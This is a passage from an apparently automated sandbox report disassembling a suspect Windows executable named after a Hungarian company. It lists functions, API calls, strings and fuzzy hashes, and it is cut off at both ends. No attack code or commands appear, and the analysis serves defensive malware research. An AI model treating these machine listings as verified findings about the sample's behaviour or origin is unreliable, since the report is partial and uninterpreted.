                                                              • Opcode Fuzzy Hash: 7124aa5391b03da96cb5a24c9d27d76ae994d16728126170fb25cba0868e1930
                                                              • Instruction Fuzzy Hash: 4C217E7295021EEFDF16EF90CC4AEEE7739BF18300F044869F505660A2EA79A618DB51
                                                              Function 007952C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00737BCC: _memmove.LIBCMT ref: 00737C06
                                                                • Part of subcall function 00737924: _memmove.LIBCMT ref: 007379AD
                                                              • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00795330
                                                              • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00795346
                                                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00795357
                                                              • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00795369
                                                              • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0079537A
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: SendString$_memmove
                                                              • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                              • API String ID: 2279737902-1007645807
                                                              • Opcode ID: eb6efccccc56cf85302ecf2b3f68ff6a7b5b73b240e34c41c8d401b91c486085
                                                              • Instruction ID: 75051661ca5b7b007b184f784659784febcb53734f99babc59ec04263907b643
                                                              • Opcode Fuzzy Hash: eb6efccccc56cf85302ecf2b3f68ff6a7b5b73b240e34c41c8d401b91c486085
                                                              • Instruction Fuzzy Hash: 3D11EBB095116DB9EB64B7B2DC4EDFF7B7CEB95B44F000419B405920D2DEA81D44C671
                                                              Function 007946B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
                                                              • String ID: 0.0.0.0
                                                              • API String ID: 208665112-3771769585
                                                              • Opcode ID: 7d920f671f843a44fa2f69256a50ea588f847b73f8ecdd0ce046be5f7fc362a9
                                                              • Instruction ID: c66986db7208b94a70922793feb0563fddc7ff9cc02fa1fe2102729f6699c2a2
                                                              • Opcode Fuzzy Hash: 7d920f671f843a44fa2f69256a50ea588f847b73f8ecdd0ce046be5f7fc362a9
                                                              • Instruction Fuzzy Hash: 7111EB31500118BFDF10AB70AC4AFDA77BCEF06711F0442B5F44596151EFBD9E868A50
                                                              Function 00794F75 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • timeGetTime.WINMM ref: 00794F7A
                                                                • Part of subcall function 0075049F: timeGetTime.WINMM(?,75C0B400,00740E7B), ref: 007504A3
                                                              • Sleep.KERNEL32(0000000A), ref: 00794FA6
                                                              • EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 00794FCA
                                                              • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00794FEC
                                                              • SetActiveWindow.USER32 ref: 0079500B
                                                              • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00795019
                                                              • SendMessageW.USER32(00000010,00000000,00000000), ref: 00795038
                                                              • Sleep.KERNEL32(000000FA), ref: 00795043
                                                              • IsWindow.USER32 ref: 0079504F
                                                              • EndDialog.USER32(00000000), ref: 00795060
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                                              • String ID: BUTTON
                                                              • API String ID: 1194449130-3405671355
                                                              • Opcode ID: 8ce1077630c1eabb2b194ecf7f9ee5180a2fd1393b92b9113750f151736826c4
                                                              • Instruction ID: 4c8282b164e1545cd43f95f33b26582b0bc6caa708c16f6fbdfcc9c26e0bf70f
                                                              • Opcode Fuzzy Hash: 8ce1077630c1eabb2b194ecf7f9ee5180a2fd1393b92b9113750f151736826c4
                                                              • Instruction Fuzzy Hash: E121C3B0205605BFEB115F34FC89F363B6AEB08B55F089224F505921B1DB7D8D20C769
                                                              Function 0079D58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00739837: __itow.LIBCMT ref: 00739862
                                                                • Part of subcall function 00739837: __swprintf.LIBCMT ref: 007398AC
                                                              • CoInitialize.OLE32(00000000), ref: 0079D5EA
                                                              • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 0079D67D
                                                              • SHGetDesktopFolder.SHELL32(?), ref: 0079D691
                                                              • CoCreateInstance.OLE32(007C2D7C,00000000,00000001,007E8C1C,?), ref: 0079D6DD
                                                              • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 0079D74C
                                                              • CoTaskMemFree.OLE32(?,?), ref: 0079D7A4
                                                              • _memset.LIBCMT ref: 0079D7E1
                                                              • SHBrowseForFolderW.SHELL32(?), ref: 0079D81D
                                                              • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0079D840
                                                              • CoTaskMemFree.OLE32(00000000), ref: 0079D847
                                                              • CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 0079D87E
                                                              • CoUninitialize.OLE32(00000001,00000000), ref: 0079D880
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
                                                              • String ID:
                                                              • API String ID: 1246142700-0
                                                              • Opcode ID: 8fd3f5a5137332be73ea891e73564179b2debcd9eb3df24dcdbef965d603247f
                                                              • Instruction ID: 569799b672aac9b3559634bdf8efb5f727826525d828b0d76b0b534f247bfa0c
                                                              • Opcode Fuzzy Hash: 8fd3f5a5137332be73ea891e73564179b2debcd9eb3df24dcdbef965d603247f
                                                              • Instruction Fuzzy Hash: 01B10A75A00109EFDB14DFA4D888EAEBBB9FF48314F148569E909EB261DB34ED41CB50
                                                              Function 0078C267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDlgItem.USER32(?,00000001), ref: 0078C283
                                                              • GetWindowRect.USER32(00000000,?), ref: 0078C295
                                                              • MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0078C2F3
                                                              • GetDlgItem.USER32(?,00000002), ref: 0078C2FE
                                                              • GetWindowRect.USER32(00000000,?), ref: 0078C310
                                                              • MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0078C364
                                                              • GetDlgItem.USER32(?,000003E9), ref: 0078C372
                                                              • GetWindowRect.USER32(00000000,?), ref: 0078C383
                                                              • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0078C3C6
                                                              • GetDlgItem.USER32(?,000003EA), ref: 0078C3D4
                                                              • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0078C3F1
                                                              • InvalidateRect.USER32(?,00000000,00000001), ref: 0078C3FE
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$ItemMoveRect$Invalidate
                                                              • String ID:
                                                              • API String ID: 3096461208-0
                                                              • Opcode ID: 7472f3944eebff4ba670e6049831967441bcb2f02c0418d9b4ee2e3f31ece3ff
                                                              • Instruction ID: 543f49549403ceddbacc04bc60a7ce4b81c757d9591b3109899dafc6192275b6
                                                              • Opcode Fuzzy Hash: 7472f3944eebff4ba670e6049831967441bcb2f02c0418d9b4ee2e3f31ece3ff
                                                              • Instruction Fuzzy Hash: F2515F71B00205ABDB18DFA9DD99FAEBBBAFB88710F14C22DF915D6290D7749D008B14
                                                              Function 0073201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00731B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00732036,?,00000000,?,?,?,?,007316CB,00000000,?), ref: 00731B9A
                                                              • DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 007320D3
                                                              • KillTimer.USER32(-00000001,?,?,?,?,007316CB,00000000,?,?,00731AE2,?,?), ref: 0073216E
                                                              • DestroyAcceleratorTable.USER32(00000000), ref: 0076BCA6
                                                              • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,007316CB,00000000,?,?,00731AE2,?,?), ref: 0076BCD7
                                                              • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,007316CB,00000000,?,?,00731AE2,?,?), ref: 0076BCEE
                                                              • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,007316CB,00000000,?,?,00731AE2,?,?), ref: 0076BD0A
                                                              • DeleteObject.GDI32(00000000), ref: 0076BD1C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                                              • String ID:
                                                              • API String ID: 641708696-0
                                                              • Opcode ID: 9413c68435dc4d3e7521960350f725e9ce121a42b16b17af525714216b4e242b
                                                              • Instruction ID: 0e32c403dcf5ba8eb4dca460fb9946353fb1ff7ce9a419d1bb9035ea7c344489
                                                              • Opcode Fuzzy Hash: 9413c68435dc4d3e7521960350f725e9ce121a42b16b17af525714216b4e242b
                                                              • Instruction Fuzzy Hash: 83617B31100A10DFEB39AF14DD48B29B7F1FF41712F508528EA428B972C77CA896DB94
                                                              Function 007321A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 007325DB: GetWindowLongW.USER32(?,000000EB), ref: 007325EC
                                                              • GetSysColor.USER32(0000000F), ref: 007321D3
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ColorLongWindow
                                                              • String ID:
                                                              • API String ID: 259745315-0
                                                              • Opcode ID: a1f4e337dc448d8ceba2d86b354a1f7cc888e785cc1b6aa31708fc604de5287d
                                                              • Instruction ID: 0e66be8baf6f157d722779dc741cb2ddde75e92e3d17379ff9766f3b9306b34b
                                                              • Opcode Fuzzy Hash: a1f4e337dc448d8ceba2d86b354a1f7cc888e785cc1b6aa31708fc604de5287d
                                                              • Instruction Fuzzy Hash: F441A331100548EBEB215F28DC88BBA3B65FB06731F258365FE658A1E3C7398C42DB25
                                                              Function 0079A8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CharLowerBuffW.USER32(?,?,007BF910), ref: 0079A90B
                                                              • GetDriveTypeW.KERNEL32(00000061,007E89A0,00000061), ref: 0079A9D5
                                                              • _wcscpy.LIBCMT ref: 0079A9FF
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: BuffCharDriveLowerType_wcscpy
                                                              • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                              • API String ID: 2820617543-1000479233
                                                              • Opcode ID: f389eacc625b7307269e8c527285ee23ed60c006d0a0c07fd279ebcafb9d3eb9
                                                              • Instruction ID: e3d0722ee6c83dc697166d43678ca3be558c3766fca942caaf7fba2b443cc11c
                                                              • Opcode Fuzzy Hash: f389eacc625b7307269e8c527285ee23ed60c006d0a0c07fd279ebcafb9d3eb9
                                                              • Instruction Fuzzy Hash: B751DE31108300EFCB14EF14D896AAFB7A5FF84310F00882DF985572A2DB79A909CB93
                                                              Function 00739837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: __i64tow__itow__swprintf
                                                              • String ID: %.15g$0x%p$False$True
                                                              • API String ID: 421087845-2263619337
                                                              • Opcode ID: eebe17648ea190ea67e5f011c6845d556c84feb04f18b4821b2e7abe2f5d52d2
                                                              • Instruction ID: df69b95cbb9d312ac684079bbced998662dce5e23e55a0119eaec9ce74f02d6b
                                                              • Opcode Fuzzy Hash: eebe17648ea190ea67e5f011c6845d556c84feb04f18b4821b2e7abe2f5d52d2
                                                              • Instruction Fuzzy Hash: A341B671604205EFEB24DF34D846EBA73E8FF45300F20446EEA4AD7293EAB99D458B11
                                                              Function 007B7152 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 007B716A
                                                              • CreateMenu.USER32 ref: 007B7185
                                                              • SetMenu.USER32(?,00000000), ref: 007B7194
                                                              • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 007B7221
                                                              • IsMenu.USER32(?), ref: 007B7237
                                                              • CreatePopupMenu.USER32 ref: 007B7241
                                                              • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 007B726E
                                                              • DrawMenuBar.USER32 ref: 007B7276
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                              • String ID: 0$F
                                                              • API String ID: 176399719-3044882817
                                                              • Opcode ID: b9d9b9aaa12e6a136a1c0c54daddeae1d6d119b1b292196652067f3ae8cd95fd
                                                              • Instruction ID: 54a5e1668cf6e46077d8cf055bdb77c87a60218de116c10e7ac59ef0f3a59817
                                                              • Opcode Fuzzy Hash: b9d9b9aaa12e6a136a1c0c54daddeae1d6d119b1b292196652067f3ae8cd95fd
                                                              • Instruction Fuzzy Hash: 6A416974A01209EFDB24DF64D988FDA7BB5FF88350F144128F906A7361D739A920CBA0
                                                              Function 007B74BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 007B755E
                                                              • CreateCompatibleDC.GDI32(00000000), ref: 007B7565
                                                              • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 007B7578
                                                              • SelectObject.GDI32(00000000,00000000), ref: 007B7580
                                                              • GetPixel.GDI32(00000000,00000000,00000000), ref: 007B758B
                                                              • DeleteDC.GDI32(00000000), ref: 007B7594
                                                              • GetWindowLongW.USER32(?,000000EC), ref: 007B759E
                                                              • SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 007B75B2
                                                              • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 007B75BE
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                                              • String ID: static
                                                              • API String ID: 2559357485-2160076837
                                                              • Opcode ID: 8f0be4c3fb2f41b1b6179194fb6a10c0fc8003437efacaae41d65b19067735ba
                                                              • Instruction ID: cf1f4e923164f60b499784a0c7d8d7d8dfa148871469c9cd693c35bd76de2fd8
                                                              • Opcode Fuzzy Hash: 8f0be4c3fb2f41b1b6179194fb6a10c0fc8003437efacaae41d65b19067735ba
                                                              • Instruction Fuzzy Hash: 99316D72104218BBDF259F74DC08FEA3B69FF49720F114325FA15A61A0C739E821DBA4
                                                              Function 00756E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 00756E3E
                                                                • Part of subcall function 00758B28: __getptd_noexit.LIBCMT ref: 00758B28
                                                              • __gmtime64_s.LIBCMT ref: 00756ED7
                                                              • __gmtime64_s.LIBCMT ref: 00756F0D
                                                              • __gmtime64_s.LIBCMT ref: 00756F2A
                                                              • __allrem.LIBCMT ref: 00756F80
                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00756F9C
                                                              • __allrem.LIBCMT ref: 00756FB3
                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00756FD1
                                                              • __allrem.LIBCMT ref: 00756FE8
                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00757006
                                                              • __invoke_watson.LIBCMT ref: 00757077
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
                                                              • String ID:
                                                              • API String ID: 384356119-0
                                                              • Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
                                                              • Instruction ID: 5bd3327c5a3caaf0f4210fb3bed57978a41179db1179bf90da07795e3d6fbf3a
                                                              • Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
                                                              • Instruction Fuzzy Hash: 1C71F876A00716EBD714AE68DC46BAAB3E8BF04725F148229FC15D72C1E7B9DD04C790
                                                              Function 00792527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 00792542
                                                              • GetMenuItemInfoW.USER32(007F5890,000000FF,00000000,00000030), ref: 007925A3
                                                              • SetMenuItemInfoW.USER32(007F5890,00000004,00000000,00000030), ref: 007925D9
                                                              • Sleep.KERNEL32(000001F4), ref: 007925EB
                                                              • GetMenuItemCount.USER32(?), ref: 0079262F
                                                              • GetMenuItemID.USER32(?,00000000), ref: 0079264B
                                                              • GetMenuItemID.USER32(?,-00000001), ref: 00792675
                                                              • GetMenuItemID.USER32(?,?), ref: 007926BA
                                                              • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00792700
                                                              • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00792714
                                                              • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00792735
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ItemMenu$Info$CheckCountRadioSleep_memset
                                                              • String ID:
                                                              • API String ID: 4176008265-0
                                                              • Opcode ID: 0319e2aa05c27b45139add07cd8f085dae823421ff9e238327c8b285f2759787
                                                              • Instruction ID: 33e23f3a8222175609ebb295099fa37a68933cc1ea7f24f4d5c3f627db25e224
                                                              • Opcode Fuzzy Hash: 0319e2aa05c27b45139add07cd8f085dae823421ff9e238327c8b285f2759787
                                                              • Instruction Fuzzy Hash: 5D618DB0900249BFDF21EFA4EC88EBE7BB9FB01344F144159E941A3652D739AD16DB60
                                                              Function 007B6F23 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 007B6FA5
                                                              • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 007B6FA8
                                                              • GetWindowLongW.USER32(?,000000F0), ref: 007B6FCC
                                                              • _memset.LIBCMT ref: 007B6FDD
                                                              • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 007B6FEF
                                                              • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 007B7067
                                                              Memory Dump Source
